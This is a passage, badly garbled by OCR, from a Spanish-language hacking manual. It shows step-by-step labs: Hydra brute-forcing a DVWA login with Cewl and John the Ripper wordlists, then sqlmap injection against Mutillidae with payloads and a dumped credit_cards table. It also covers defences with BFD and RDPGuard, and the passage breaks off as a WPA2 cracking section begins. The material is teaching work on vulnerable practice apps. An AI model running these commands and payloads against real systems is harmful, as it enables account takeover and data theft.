placeholder: $placeholderText, 
arialabel: 
str['CT_PWD_STR_PwdTB_Arialabel'], 
css: { *has-error': 
passwordTextbox.error )” placeholder="Contraseña” aria- 
label="Escribir contraseña"> == 
<!-- /ko --> 
<!-- /ko --> 
<!-- ko ifnot: usePlaceholderAttribute --> 
<!-- /ko --> 
</div> 
#10281 div div div div div div div div div  input*i0118.form-control 


Event Listeners DOM Breakpoints Properties 


Ae 


Accessibility 


thov „cis 


color" ], 
date" ], 


Converged v23082.css:58 
input[type="datetime”], 


input[type="datetime-local”], 


input[type=" 
input[type- 
input[type=" 
input[type="text"], 
i “url” 


inputit 


email”], 
“number” ], 
search” ], 


input[type="month"], 
input[type="password"], 
input[type="tel"], 
input[type="time™], 

input| type=“week"™ 





e= 


A los efectos de prueba en entornos reales (por ejemplo, sobre Google Chrome 

en sistemas Windows), se debe oprimir la tecla F12, que abre una ventana lateral, 
conocida como consola de herramientas del navegador. Desde ella se pueden 
modificar entradas comunes como las implicadas en las ventanas de sesión de usuario. 
Por ejemplo: cambiar la cadena “passwd” por la cadena “text”, lo que permite ver 

la cadena de caracteres en vez de los asteriscos (carácter definido para ocultar un 


password) definidos para el campo. 


Herramientas necesarias 


Para realizar un ataque o, en su defecto, con 
fines de investigación, el hacker debe montar 

un laboratorio; por lo tanto, tiene que equiparse 
con el software necesario. A continuación, se 
listan las herramientas que se aconseja tener a 
disposición, además del rol (atacante y objetivo) 
que va a desempeñar cada estación: 


"E Una máquina virtual (VM) con la distribución 
Parrot o Kali Linux. La página oficial de 
descarga de Parrot es: www.parrotsec.org/ 
download -full.fx. Esta estación de trabajo 
funcionará como la máquina del atacante. 

E Una máquina virtual (VM) con la distribución 
OWASP instalada, que se descarga desde 
www.owasp.org o, en su defecto, desde 
https://sourceforge.net/projects/owaspbwa/ 
files. Para realizar esta tarea, se recomiendan 
dos cosas: descargar la versión 1.2 de BWA 
(Broken Web Apps) y configurar el adaptador 
de red (desde la VM) en modo NAT. 


Escritorio de la distribución 
Parrot Security OS. 


Esta VM actuará como la víctima u objetivo 
(denominado también host de pruebas), que 
tras ser ejecutada, pondrá a disposición del 
pentester una dirección IP para el acceso al 
proyecto OWASP Broken Web Apps, con el cual 
se dará comienzo al test de vulnerabilidades en 
aplicaciones web. 


ES Dwisiar 7, 64-bit - VMerare Player [Nor-comemercial use only} 


er Mr DAA 
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Ataque por fuerza bruta 
mediante Hydra 


Este proyecto se enfoca en la explicación tanto de la creación de diccionarios para 
ataques por fuerza bruta, como de la formulación de dicho ataque. Para la generación 
de diccionarios (o word list) se recomienda el uso de herramientas como Cewl y John 
the Ripper; en tanto que para la ejecución del ataque, se requerirá de THC- Hydra. 





Elementos para el ataque Ataque por 
Entre las diferentes herramientas necesarias para realizar ataques 

por fuerza bruta, por lo general, hay tres fundamentales: un fuerza bruta 
diccionario (word list), una para su ejecución y una interfaz de Es aquel que intenta 
usuario (modo texto o gráfica). averiguar una contraseña 
La generación de diccionarios, en este caso, se llevará a cabo con probando una gran cantidad 
el uso de Cewl y John the Ripper. Para la ejecución del ataque, se de palabras contenidas en 
empleará THC-Hydra, una herramienta que se ejecuta desde Kali archivos de texto conocidos 


Linux (sobre terminal) para crackear contraseñas. como diccionarios de claves. 





Generación de diccionarios 

Para crear una word list (con el uso de Cewl y John the Ripper), se debe efectuar un análisis 
del sitio o página web elegido, de modo de recopilar todas las palabras o combinaciones 
relacionadas con su contexto. En este caso, se usará WackoPicko de OWASP. 


e a So ono enema = Se inicia con Cewl. Para 
invocar WackoPicko, abra 
ee e henin OB Mo ii la terminar y escriba: cewl 
—w cewl_Wacko.txt -c 
-m 5 http://192.168.x.x/ 
rm a ; WackoPicko, donde 
cans aiding suaran) Robin Mood. {robinedial ninja) Anttpe://dighsninia/! -w especifica el archivo 
Tis de salida, -c desglosa 
el número de palabras 
encontradas, y -m es el 
número mínimo de dígitos 
que se establecerá para 
la búsqueda de dichas 
palabras. 





Diccionario 


Llamado también word list, consiste en una lista de las palabras asociadas con un password o contraseña. 
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BY Applications Places System S] P @)) By Tue Feb 13, 19: 


Downloads Pictures Templates 


Se muestra un diccionario 
o word list con el conjunto 
de palabras relacionadas 
con la aplicacion. Note 

que esta lista posee una 
ubicacion. Para desplegar 
el contenido del directorio, 
coloque el comando ls, y 
para ver el contenido de los 
archivos, recuerde utilizar 
la orden cat. Esta lista 
permitirá efectuar el ataque 
por fuerza bruta. 


1) Applications Places System JP f y Tue Feb 13, 1 


® sigo einer 
File Edit View Search Terminal Help Proceda a generar 


user@parrot | el diccionario con la 
$john --stdout --wordlist=cewl Wacko.txt --rules i 
ackoPicko, 192 S herramienta John the 
¿19 : 

Ripper. Para hacerlo, 
escriba el siguiente 
comando: 
john --stdout 
--wordlist=cewl_Wacko. 
txt. Esto muestra un 
diccionario similar al 
realizado por Cewl, 
aunque con la posibilidad 
de extender su tamano 
mediante el uso del 
parámetro —rules. 





Applications Places System | P a Ty Tue Feb | 


Y sigo i 


€ 
(9 Start 


N Search Terminal Help 


Note los números que se 
encuentran después de la 
coma. Estos representan 
el número total de 
combinaciones que hay 
con ese password. Este 


nuevo word list se compone 


3368p 0:00:00:00 100.00% (2018-02-13 19:14) 33680p/s wednesday, 1 í 
- 'user@parrot de un mayor número de 


La e datos que el anterior (3368 
rias | combinaciones versus poco 
menos de 500). 





redusers.com | 115 


Manual del hacker > Proyectos avanzados 


Ataque con Hydra 


Actualmente, Parrot OS o Kali Linux ofrecen una herramienta llamada 
Hydra, mediante la cual se efectúan este tipo de ataque. La forma más 
común de hacerlo es a través de la terminal de comandos. 


E Debian 7.x 64-bit - VMware Player (Non-commercial use only) i m? En esta actividad se 
Payer = | Mr co rt utilizará la aplicación 
— | mia di li Daam Vulnerable Web 
Application de OWASP, 
File. Edit: View Search ‘Yerminal Help formada por una ventana 
user@parrot — |- de sesion, para lo cual 
= $cewl -w cewl_users,txt -c -m 8 http://192,168.89,130/dvwa/login.php r ; 
CeWL 5.3 (Heading Upwards) Robin Wood (robin@digi.ninja) (https://digi.ninja/) sera necesario generar 
user@parrot - ~ e È 
g una lista de usuarios. Para 
realizar esta tarea, debe 
ejecutar el comando que 
se visualiza en pantalla y, 
posteriormente, abrir el 
archivo .txt generado. 


(* Damn 












obio: Placas Saba 2 Una vez abierto el archivo, 
| se visualizará un listado 
E Dam = de palabras relacionadas 
w Search Terminal Help con el usuario para lograr 





— 





Username, 1 


el acceso a la página. 
Password, 1 


De manera opcional, se 
pueden agregar unas 
cuantas más. 








= $vi cewl_users.txt 
+ user@parrot. ~ 
~~ $cat cewl_users.txt 














@)) t4 Tue Feb 13, 19:35 


(¥ Damn Vulnerable WebA x 3 Preferences 


C a 


B Start @) Parrot E wiki & Community 3 privacy 3 pentest learn & Donate 


Connection Settings 








Configure Proxies to Access the Internet 


No proxy 







Auto-detect proxy settings for this network 


Use system proxy settings 







O Manual proxy configuration 






HTTP Proxy 127.0.0.1 


Use this proxy server for all protocols 






SSL Proxv Port 
Help Cancel OK 






Herramienta presente 
en ciertas distribuciones 


i Para comprender el funcionamiento de envío de datos y el 
GNU -Linux para pentesters 


apii funcionamiento de la solicitud de logueo, utilice un Web 
(como mall Linux), cuyo Application Proxy (sniffer/proxy); en este caso: Burp suite. 
proposito es crackear Debe configurarse para fines de convivencia con el proxy del 
contrasenas de un servicio navegador que se esta utilizando. Para hacerlo, efectue la 
de networking. busqueda de la siguiente ruta: Edit/Preferences/Advanced/ 
Networking/Settings (aunque esta puede variar). 
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E Debian 7.x 64-bit - VMware Player (Non-commercial use only) 


Player + | I~ co ot 


Applications Places System | ie 


+- Damn Vulnerable Web x + 


€ X Q O # & 192.168.89.130/dvwa/login.php TE Ov 


B Start O Parot E wik Would you like Firefox to save this login for 





http://192.168.89.130? 


prueba 


esesocoeVnos.a 

E Show password > 

A continuación, abra Burp 
Suite para comenzar a 
interceptar tanto tráfico 
como paquetes enviados. 
Posteriormente, proceda 
Password a navegar dentro de la 
eeccescoooe aplicacion de DVWA. 
Introduzca un usuario y un 
password ficticios. 


Username 


prueba 


Ez Debian 7.x 64-bit - VMware Player (Non-commercial use only) 


Player ~| lr DOD 


y 


« 








http://192.168.89.130 
M -4 dvwa 
v @ login.php 
O M username=prueba&password=pruebausers 
5z username=sss&password=sss&Login=Login 
E username=users&password=users&Login=Login 
http://detectportal firefox.com 
http://hosts-file, met 


http: vivi 13. 0t g 





| Raw | Params | Headers | Hex | 


ecg roupewi thpers is tennin A 
DNT: 1 


Correction: close 


Upgrade- Inpecure- Recuento: 1 


LÁ 





AAA (2) (ce) [ote [eg ee a search en T ät 


Una vez hecho esto, dirijase a Burp (que ya se encuentra interceptando el trafico y, por lo 
tanto, permite observar lo que se esta enviando). Haga clic en la pestana de Proxy, donde se 
mostraran las variables con las que trabaja el proceso de logueo (username, password y login). 
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Ed Debian 7.x 64-bit - VMware Player (Non-commercial use only) 


Player vy | J vy co Hi 


S = 


Applications Places System i. | P @)) Bg Tue Feb 13, 20 


(* Damn Vulnerable Web /: x + 


é 
Ey Start YE 


File Edit View Search Terminal Help 


m user@parrot - 

LL. $hydra 192.168.89.130 http-form-post "/dvwa/login.php:username="USER“£pass 

ord="PASS”£Login=Login:login.php" -L cewl users.txt -e ns -u -t 2 -w 15 -o resul 
tadoBruteForceHydraDVWA. txt 

Hydra v8.6 (c) 2017 by van Hauser/THC - Please do not use in military or secret 

service organizations, or for illegal purposes. 


Hydra (http://www.thc.org/thc-hydra) starting at 2018-02-13 20:13:05 

[DATA] max 2 tasks per 1 server, overall 2 tasks, 26 login tries (1:13/p:0), ~2 
tries per task 

[DATA] attacking http-post-form://192.168.89.130:80//dvwa/login. php: username="U 
ER“ &password="PASS*&Login=Login: Login. php 

1 of 1 target completed, © valid passwords found 

Hydra (http://ww.thc.org/thc-hydra) finished at 2018-02-13 20:13:12 


T E ae | 





Proceda a efectuar el ataque. Para hacerlo, abra una terminal y ejecute el siguiente comando: 
hydra 192.168.28.129 http-form-post “/dvwa/login.php:username=4USERA &pas 
sword=APASS4 &Login=Login:login.php” -L cewl_users.txt -e ns -u -t 2 -w 15 -o 
resultadoBruteForceHydraDVWA.txt. 


Applications Places System e | P @)) Bg Tue Feb 13, 20:32 


(*' Damn Vulnerable Web A: X + 


€ C a 


Tras ejecutar 
esta orden, 
se iniciará el 


ES Start fl Parrot Es Wiki Es Community E5privacy E5pentest E5leam E4 Donate 
proceso de envío 
de peticiones, 


N 
pwa) 


Username comprobar las 
admin credenciales 
correctas para 
completar el 
logueo (que 
incluye el archivo 
de salida). 
Proceda a probar 
el password. 


Password 





[Parrot Terminal] 
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Como protegernos 


Para realizar acciones de prevencion, debe de este tipo de ataques son SSHGuard (para 

considerarse lo siguiente: GNU-Linux) y RDPGuard (para Windows). 

E Contar con un sistema de detección de ataque por M Formular contraseñas seguras para las 
fuerza bruta o BFD (Brute Force Detection). Dos diferentes sesiones de usuario (correo, redes 
herramientas para proteger diferentes servicios sociales, sesiones web, etc.). 


Instalar y configurar un BFD desde GNU-Linux 


Gy Other Linux 3.x kernel 64-bit - VMware Player (Non-commercial use only) 


Player v | iy Da 


Applications ~ Places CJ Terminal ~» 
root@kali: ~/Desktop Ingrese en la 
File Edit View Search Terminal Help terminal de la 
distribucion GNU- 
Linux de su eleccion. 
co [Desktop MARA NA TA EA A AN T- > Situese sobre la 
'--2018-10-15 15:49:49-- https://www.rfxnetworks.com/downloads/bfd-current.tar.gz (7 a i 
Resolving www.rfxnetworks.com (www.rfxnetworks.com)... 104.28.5.77, 104.28.4.77, 2606:2 ruta del escritorio y 


1700:30: :681c:44d, ... q Ba 
Connecting to www.rfxnetworks.com (www.rfxnetworks.com) |104.28.5.77|:443... connected. proceda a escribir el 


HTTP request sent, awaiting response... 200 OK comando adecuado 
Length: 21541 (21K) [application/x-gzip] 
Saving to: ‘bfd-current.tar.gz’ para la descarga del 


bfd-current.tar.gz 100% [========================>] 21.04K --.-KB/S in 0.02s archivo necesario. 
2018-10-15 15:49:50 (1.13 MB/s) - ‘bfd-current.tar.gz’ saved [21541/21541] 


yoot@kali:~/Desktop# J 








Applications v Places v» Terminal w Mon 15:51 
root@kali: ~/Desktop 
File Edit View Search Terminal Help 


root@kali:~/Desktop# ¡IIA e e 

bfd-1.5-2/ Descomprima la 

Lc imc ¿a : carpeta que incluye 

bfd- ines = los archivos para 

bfd-1.5-2/cron.daily la instalacion. 

bfd-1.5-2/README Visualice la lista de 

See een i la serie de archivos 
-1.5-2/files/tmp ; 

bfd-1.5-2/files/exclude. files soa msl Sain 

bfd-1.5-2/files/rules/ esta tarea. 

bfd-1.5-2/files/rules/asterisk iax 

bfd-1.5-2/files/rules/asterisk nopeer 

bfd-1.5-2/files/rules/modsec 

bfd-1.5-2/files/rules/exim authfail 

bfd-1.5-2/files/rules/postfix 

bfd-1.5-2/files/rules/sshd 

bfd-1.5-2/files/rules/vsftpd2 

bfd-1.5-2/files/rules/asterisk badauth 
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root@kali: ~/Desktop/bfd-1. 


Fite Edit View Search Terminal Help 

rootereals:~/Desktop# ls 

bfd-1.5-2 bfd-current.tar.oz 

rooteheli:~/Desktop# cd bfd-1.5-2 

rootehels:~/Desktop/bfd-1.5-2# ./install.sh Una vez descomprimido el 
: BFD installed archivo principal, ingrese 

Install path: = /usr/local/bfd al directorio para realizar 

Config path: /usr/local/bfd/conf.bfd la instalación. mediante el 

Executable path: /usr/local/sbin/bfd ušideiconandoi Jinstall 

root@keli:-/Desktop/bfd-1.5-2# Jj Sh maz hecho esti. 


la terminal le indicará las 
rutas o ejecutables y los 
archivos de configuración. 





areal _swe || =| © 


a 


# Copyright (C) 1999-2014, R-fx Networks <proj@r-fx.org> 
# Copyright (C) 2014, Ryan MacDonald <ryan@r-fx.org> 
# This program may be freely redistributed under the terms of the GNU GPL 


NOTE: This file should be edited with word/line wrapping off, 
if your using pico please start it with the -w switch. 
(e.g: pico -w filename) 


# how many failure events must an address have before being blocked? 
# you can override this on a per rule basis in /usr/local/bfd/rules/ 
TRIG="15" 


# send email alerts for all events [0 = off; 1 = on] 
EMAIL ALERTS="60" 


# local user or email address alerts are sent to (separate multiple with comma) 
EMAIL ADDRESS="root”" 


# subject of email alerts 
EMAIL SUBJECT="Brute Force Warning for $HOSTNAME" 


# executable command to block attacking hosts 
BAN COMMAND="/etc/apf/apf -d $ATTACK HOST {bfd.$MOD}" 





Edite el archivo de configuracion mediante el uso del editor 
que prefiera, utilizando el comando: #gedit /usr/local/ 
bfd/conf.bfd. Con esto conseguira abrir un editor con la 
informacion de configuracion del BFD. 
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Applications v» = XT E Mon 16:02 


Open ~ || @ | *conf.bfd 


fusr/local/bfd 
#!/bin/bash 


BFD 1.5-2 <bfd@rfxn.com> 

Copyright (C) 1999-2014, R-fx Networks <proj@r-fx.org> 

Copyright (C) 2014, Ryan MacDonald <ryan@r-fx.org> 

This program may be freely redistributed under the terms of the GNU GPL 


NOTE: This file should be edited with word/line wrapping off, 
if your using pico please start it with the -w switch. 


# 
# 
# 
# 
# 
# 
# 
# 
# 
# 


(e.g: pico -w filename) 


# how many failure events must an address have before being blocked? 
# you can override this on a per rule basis in /usr/local/bfd/rules/ 
TRIG="15" 


FMATL ADDRI M 


31] Lele 


t aan 


# subject of email alerts 


IOn 


EMAIL SUBJECT="Brute Force Warning for $HOSTNAME" 


# executable command to block attacking hosts 
BAN COMMAND="/etc/apf/apf -d $ATTACK HOST {bfd.$MOD}" 





Active ahora las alertas de ataque correspondientes (cambie de O a 1) como se muestra en la 
imagen. Después configure la línea EMAIL_ADDRESS= y coloque su mail para recibir un correo 
electrónico por cada alerta emitida. 


root@kali: 
*/1 * * * 
root@kali: 
root@kali: 


Con el fin de evitar que el sistema efectue el 
bloqueo de su IP local, debe anadir ignore. 
hosts al archivo (se encarga de almacenar las 
direcciones IP que se van a ignorar durante el 
rastreo). Agregue, por ejemplo, su direccion 
local: 127.0.0.1. Esto se logra escribiendo el 
siguiente comando: #gedit /usr/local/bfd/ 


ignore.hosts. 


kali 
kali 
kali 
kali 
kali 
kali 
kali 
kali 
kali 
kali 
kali 
kali 
kali 
kali 


bfd (2467) : 
bfd(2467) : 
bfd(2467): 
bfd(2467): 
bfd(2467): 
bfd(2467): 
bfd(2467): 
bfd(2467): 
bfd(2467): 
bfd(2467): 
bfd(2467): 
bfd(2467) : 
bfd(2467) : 
bfd (2467) : 
cat /etc/cron.d/bfd 


processing 
processing 
processing 
processing 
processing 
processing 
processing 
processing 
processing 
processing 
processing 
processing 
processing 
processing 


* root /usr/local/sbin/bfd -q 
~# gedit /etc/cron.d/bfd 
~# /usr/local/sbin/bfd -s$ 


exim authfail 
exim nxuser 
modsec 
openvpnas 
postfix 
proftpd 
pure-ftpd 
rh_imapd 
rh_ipop3d 
sendmail 
sshd 
vpopmail 
vsftpd 
vsftpd2 





127.0.0.1 


“Ed Other Linux 3.x kernel 64-bit - VMware Player (Non-co 


192.168.10.15 





Ejecute el programa 
mediante: #/usr/ 
local/sbin/bfd —s. 
Posteriormente, escriba: 
#cat /etc/cron.d/bfd. Con 
esta ultima linea, podra 
obtener los logs emitidos 
por cada cierto intervalo de 
tiempo. Este valor puede 
editarse desde el cron del 
archivo de configuracion. 
Note que en este caso, se 
ha decidido la emision del 
log cada minuto (*/1 ****). 
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Applications » =| Text Editor v Mon 16:21 








| Open A sendmail 


fusr/local/btd/rules 





# failed logins from a single address before ban 
# uncomment to override conf.bfd trig value 


# uncomment to disable alerting for this rule 
# SKIP ALERT="1" 


# file must exist for rule to be active 
REQ="/etc/init.d/sendmail" 


if [ -f *SREOQ” J]; ‘then 
PORTS="25, 26,587" 
LP="/var/log/maillog" 
TLOG TF="sendmail" 


## SENDMAIL 

ARG VAL= $TLOG PATH $LP $TLOG TF | egrep -v "IP name Lookup" | egrep 'sendmail | 
check rcpt|relaying denied' | sed -e 's/::ffff://' | awk ‘'{print$10}' | tr -d '[],' | 
grep -E '[0-9]+\.[0-9]+\.[0-9]+\.[0-9]+' | sort -n` 

fi 





Para la emisión de logs por cada minuto, debe escribir el siguiente comando: 
#tail -f /var/log/syslog | grep -i bfd. 


root@kali: ~ 


File Edit View Search Terminal Help 

rotor if tail -f /var/log/syslog |grep -i bfd 

Oct 15 16:33:01 localhost CRON[3196]: (root) CMD (/usr/local/sbin/bfd -q) 

Oct 15 16:35:00 localhost org.gnome.Shell.desktop[1137]: Window manager warning: 
Buggy client sent a NET ACTIVE WINDOW message with a timestamp of O for 0x1e00 
ofe (bfd (/etc/) 

Oct 15 16:36:01 localhost cron[886]: (*system*bfd) RELOAD (/etc/cron.d/bfd) 

Oct 15 16:36:01 localhost CRON[3313]: (root) CMD (/usr/local/sbin/bfd -q) 

Oct 15 16:37:01 localhost CRON[3392]: (root) CMD (/usr/local/sbin/bfd -q) 





Finalmente, proceda a personalizar las reglas que vienen por defecto para cada servicio, las 
cuales se encuentran en la siguiente ubicación: #/usr/local/bfd/rules. Abra el archivo sendmail 
con la ayuda del editor de su elección. En este último punto, se sugiere comenzar a cambiar 

el valor TRIG (que indica el número de conexiones o intentos permitidos para cada servicio), 
configurándolo en función de las necesidades de cada servicio. 
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Instalar y configurar RDPGuard para Windows 


1 Ingrese al portal de descarga de 


Welc dió RDPGuard: https: //rdpguard. 
eee com. Descargue el software y 


O: comience la instalación típica. 


It is recommended that you close all other applications before 
LW) RdpGuard 5-4-9 Trial Version OOOO 


Fle View Toos Heb 


Click Next to continue, or Cancel to exit Setup, 








RdpGuard Dashboard 





RdpGuard Sence Æ Running (Protection is enabled) 
Windows Firewall © Enabled (Protection is enabled) 


RdpGuard 








Monitoring 
Disabled 
Disatied 
Disabled 
Disabled 
Oinatded 
MySQL Dinatted 
s Disabled 
Una vez hecho esto, situese en la ork pase 
sección Monitoring de la interfaz para ir RO Wisb Access: © Disatisd 
seleccionando uno a uno los servicios de la 
lista. 


RDP Settings online heip 


Advanced RDP protection settings 








[1 (26/10/2018 22:50:29] Microsoft Windows 7 Professional (5,1.7601,SP1 64) 











[Y] Enable RDP protection 


Turn on to enable RDP protection 


Select monitoring method for RDP over TLS: 


@ RawSockets configure. 
May notwork on Windows Server 2008. May not work with 3-rd party firewalls 


5 WinPcap (libpcap) configure. 


Works on all Windows editions. WinPcap must be installed 


RDP port (leave it empty to detect automatically): 


Por cada servicio, obtendra una 
ventana para su habilitacion y 
configuracion. Una vez activadas las 
opciones necesarias, haga clic sobre 
el boton Save. 


You may also specify multiple comma-separated ports, i.e. 3389, 3390 





+ RdpGuard 5-4-9 Trial Version j = Los servicios configurados presentarán un 
E A cambio de apariencia de Disabled a Enabled 
(seleccionados de color verde). 





RdpGuard Dashboard 


RdpGuard Service: & Running (Protection is enabled) 
Windows Firewall: § @ Enabled (Protection is enabled) 


Monitoring 





@ Enabled 

Disabled 

Disabled 

Disabled 

SMTP: Disabled 


MySQL: Disabled 
MS-SQL: Disabled 
VoIP/SIP: Disabled 
Web Forms: Disabled 
RD Web Access: Disabled 


La configuracion adecuada de cada servicio 
[ You are using the Tra version of RépGuard wil expen 30 days. lick hors to obtain ine cose | garantiza la correcta emision de alertas. Esto 
Se Re SSE ne resulta indispensable para el monitoreo, 
oll Tiera for more detal i control y protección del sistema en general. 
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Ataque de inyeccion SQL 
con SQLmap 


El proyecto se orienta a la busqueda de vulnerabilidades (que, en este caso, 
pueden ser explotadas o arregladas) sobre algún recurso Web. 
Para ello, hay que utilizar alguna distribución de GNU-Linux como Kali Linux. 





Ataque con SQLmap 


Para realizar una inyección SQL, se recomienda el uso de 
SQLmap. En el siguiente Paso a paso, se ilustra, de manera 
simple, la forma de ejercer este tipo de ataque. 











Applications Places 







ST PA BD A E RN =, 
rar on GC AN 
£ 


| http://192.168...user-info.php x WS Signo igual - Buscar con GO... = \ 
> [Ì 192.168.89.130/mutillidae/index.php?page=user-i Google] CH NO = Y? 


Documentation d 






Inyección SQL 


No es de los ataques 
más comunes en la 





Switch to SOAP Web Service version 


® 


actualidad. Consta de la 
inyección de código fuente 
a un sistema, como una 
página o recurso web. 


D 
n Switch to XPath version 
Please enter username and password 
to view account details 
Name 
Password 


Dont have an account? Please register here 


180 -Heyr Ff 





5 
x 













COD. 






E Debian 7.x 64-bit - VMware Player (Non-commercial use only) 


NA 


ad 
AJAX Switch to SOAP Web Service version 
gá 





Desde la terminal de comandos 
de Kali Linux introduzca: 
http://192.168.x.x/mutillidae/ 
index.php?page=user-info. 
php (la dirección varia). Se 
abrirá una aplicación web 
vulnerable, en la que se 
aprecia un formulario de sesión 
susceptible al ataque (proceda 
a ingresar tanto un username 
como un password, ambos 
ficticios). 






N 
la Switch to XPath version 


a | 







‘CORReeottse-He Be T 
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View Search Terminal Help 


userfparrot - ~ 
- SEL -u "“192.168.89.130/mutillidae/index.php?page=user-info.php&usernan 
>=users&pas sword=userssqlGuser-info-php-submit-button=View+Account+Details” -p L 
--current-user --current-db 


bash: sqlmap -u 192.168.89.130/mutillidae/index.php?page=user-info.php: No such 


file or directory 


[3] 2204 
‘ bash: user-info-php-submit-button=View+Account+Details -p username --current-use 
Tras haber arrojado un r --current-db: command not found 
error al tratar de colocar [1] Exit 127 "sqlmap -u "192.168.89.130/mutillidae/index.php?pa 
| d ge=user-info.php 
os datos para el logueo, ias 
copie el enlace URL y password=userssql 


y ‘]-[user@parrot ~- 
peguelo en la terminal, - sl 


agregando lo siguiente: 
sqlmap —u “192.168.x.x/mutillidae/index.php?page=user info.php&username=usuario&p 
assword=sqlinjectg8.user-info-php-submit-button=View+Account+Details” -p username 
--current-user - -current-db. 





program 
[*] starting at 18:51:85 


[18:51:05] [INFO] testing connection to the target URL 

[18:51:06] [INFO] heuristics detected web page charset 'windows-1252' 

[18:51:87] [INFO] checking if the target is protected by some kind of WAF/IPS/IDS 
:07] [INFO] testing if the target URL content is stable 


6 A ru - - > aqe g - a> 
y 118: :07] [INFO] heuristic (basic) test shows that GET parameter 'username' might be injectab 
je (possible DBMS: 'MySQL') 
1[18:51:07] [INFO] heuristic (XSS) test shows that GET parameter 'username' might be vulnerable 
cto cross-site scripting (XSS) attacks 


difor the remaining tests, do you want to include all tests for 'MySQL' extending provided level 
(1) and risk (1) values? [Y/n] 





El sistema le indicará que el método GET del parámetro username puede ser inyectable o vulnerable 
a XSS (además de mostrar el posible SGBD, que en este caso es MySQL). También pregunta si desea 
seguir probando payloads para el resto de los SGBD. Oprima la tecla Y para aprobarlo. 


Applications Places System S| P *#)) By Thu Feb 15, 19:01 


[18:56:30] [INFO] target URL appears to be UNION injectable with 7 columns 


[18:56:34] [INFO] GET parameter ‘username’ is ‘MySQL UNION query (NULL) - 1 to 26 columns’ inje 
ctable 


[18:56:34] [WARNING] in OR boolean-based injection cases, please consider usage of switch '--dr 
lop-set-cookie' if you experience any problems during data retrieval 

GET parameter ‘username’ is vulnerable. Do you want to keep testing the others (if any)? [y/N] 
Y 

sqglmap identified the following injection point(s) with a total of 121 HTTP(s) requests: 


Parameter: username (GET) 
Type: boolean-based blind 
Title: OR boolean-based blind - WHERE or HAVING clause (MySOL comment) 
Payload: page=user-info.phpáusername=-3987* OR 4610=4610%*£password=userssqláuser-info-php-s 





Luego de confirmar que el metodo GET es inyectable a base de errores, el sistema arroja que el 
objetivo URL posee 7 columnas inyectables en su BD. Note que, de igual modo, el parametro GET 
es una consulta de tipo UNION, la cual tiene de 1 a 20 columnas inyectables en esa BD. 
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=a 


E Enit WI Caarrt Tarrnming Holin 
> CU View JCAL ICI NIN AO ici 


Payload: page=user-info.php&username=users’ OR SLEEP(5)-- JkdK&password=userssqlGuser-info 
php-submit-button=View Account Details 


Type: UNION query 

Title: MySQL UNION query (NULL) - 7 columns 

Payload: page=user-info.php&username=users* UNION ALL SELECT NULL,NULL,CONCAT(0x716b6a7671 
0x4d41626b5077727044586246467a486 14d62534979744560d4372437 15964524 f4a644a49556d7455 , Ox716a76767 
) NULL , NULL , NULL, NULL#&password=userssqléuser-info-php-submit-button=View Account Details 


(18:58:19] [INFO] the back-end DBMS is MySQL 


web server operating system: Linux Ubuntu 10.04 (Lucid Lynx) 
eb application technology: PHP 5.3.2, Apache 2.2.14 
back-end DBMS: MySQL >= 5.0 
[18:58:19] [INFO] fetching current user 
current user: ‘mutil lLidae@%* 
[18:58:20] [INFO] fetching current database 
current database: 'nowasp' 
[18:58:21] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/192.168. 89 
.130' 


[*] shutting down at 18:58:21 


user@parrot - ~ 
~ $ 


Durante el despliegue de información, el sistema también brinda datos acerca del servidor, 
así como el nombre de la base de datos y el usuario actual (OWASP). 





rl P Par ¡PA 
rie Edit View 


[19:05:01] [INFO] the back-end DBMS is MySQL 

eb server operating system: Linux Ubuntu 10.04 (Lucid Lynx) 

ab application technology: PHP 5.3.2, Apache 2.2.14 

back-end DBMS: MySOL >= 5.0 

[19:05:01] [INFO] fetching tables for database: 'nowasp' 
[19:05:02] [WARNING] reflective value(s) found and filtering out 
Database: nowasp 
[12 tables] 


help texts 

hitlog 

level 1 help include files 
page help 

page hints 

pen test tools 
youtubevideos 


19:05:02] [INFO] fetched data logged to text files under '/home/user/.salmap/output/192. 





Ejecute el comando anterior y proceda a agregar al final los siguientes parametros: —p username 
-D nowasp --tables (donde -D es el nombre de la BD, y - -tables son las tablas de la BD). 
Comience a revisar las tablas para acceder a su contenido. 


126 | redusers.com 


File Edit View Search Terminal Help 


[19:10:11] [WARNING] reflective value(s) found and filtering out 
[19:10:11] [INFO] fetching entries for table ‘credit cards’ in database 'nowasp' 


Uatal Via S 


[5 entries] 
horror + 
| expiration 
t-e + 
4444111122223333 | 2012-03-01 
7746536337776330 2015-04-81 


| 
8242325748474749 | 2016-03-01 
| 


7725653200487633 | 2017-86-81 
1234567812345678 | 2018-11-61 
honor + 


[19:10:12] [INFO] table 'nowasp.credit cards’ 
,168,89.130/dump/nowasp/credit cards.csv' 
[19:10:12] [INFO] fetched data logged to text files under '/home/user/.sqlmap/output/192,168,89 
,130' 


dumped to CSV file '/home/user/.salmap/output/192 


[*] shutting down at 19:10:12 


‘user@parrot -- 


= _ 





Para visualizar la informacion de la tabla 
credit cards, haga una modificacion al final 
del comando anterior: -p username —D 
nowasp —T credit_cards --dump. De este 
modo, se conseguirá el volcado de la tabla 
indicada. 

Para realizar lo mismo sobre la tabla 


Como se pudo observar, el objetivo fue 
ubicar un input (o entrada de datos) 
vulnerable. A menudo, la autenticación de 
entrada de datos de las aplicaciones web 
no es del todo adecuada, lo que conduce 
al atacante a efectuar desde un simple 
robo de información, hasta comprometer 


accounts, solo debe cambiar el nombre 

de la tabla (-p username —D nowasp 

-T accounts --dump). Cabe recordar 

que, tras el volcado de estas tablas, la 
informacion se almacenara en un directorio. 


por completo el host o el servidor donde se 
hospeda una base de datos. 


Herramientas de prevencion 


Es posible utilizar cualquier distribucion 

de GNU-Linux para la busqueda de 
vulnerabilidades, tanto para efectuar un ataque 
como para proteger el sistema. El procedimiento 
anterior ilustra, incluso, la manera de detectar 
problemas con el recurso web. 

Por lo tanto, SQLmap es usado por muchos 
pentesters en la actualidad. 


Es una herramienta de software de código 
abierto que se utiliza para detectar y 
explotar las vulnerabilidades de las bases 
de datos y que, además, proporciona 
opciones para inyectar código malicioso 
en ellas. Se puede trabajar desde alguna 
distro de GNU-Linux. 
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Hacking de redes 
Inalámbricas 


En este proyecto se realiza una demostración para ilustrar 
un ataque a redes inalámbricas protegidas por WPAZ2, 
gracias a la herramienta Aircrack-ng desde Kali Linux. 





Herramientas para el hacker 


Actualmente, las redes protegidas con WPA2 este proyecto está enfocado en el uso de 

(WiFi Protected Access v2) son las más seguras, la primera. Aircrack-ng es una suite muy 
aunque para los atacantes esto supone un reto completa para las auditorías WiFi, mediante la 
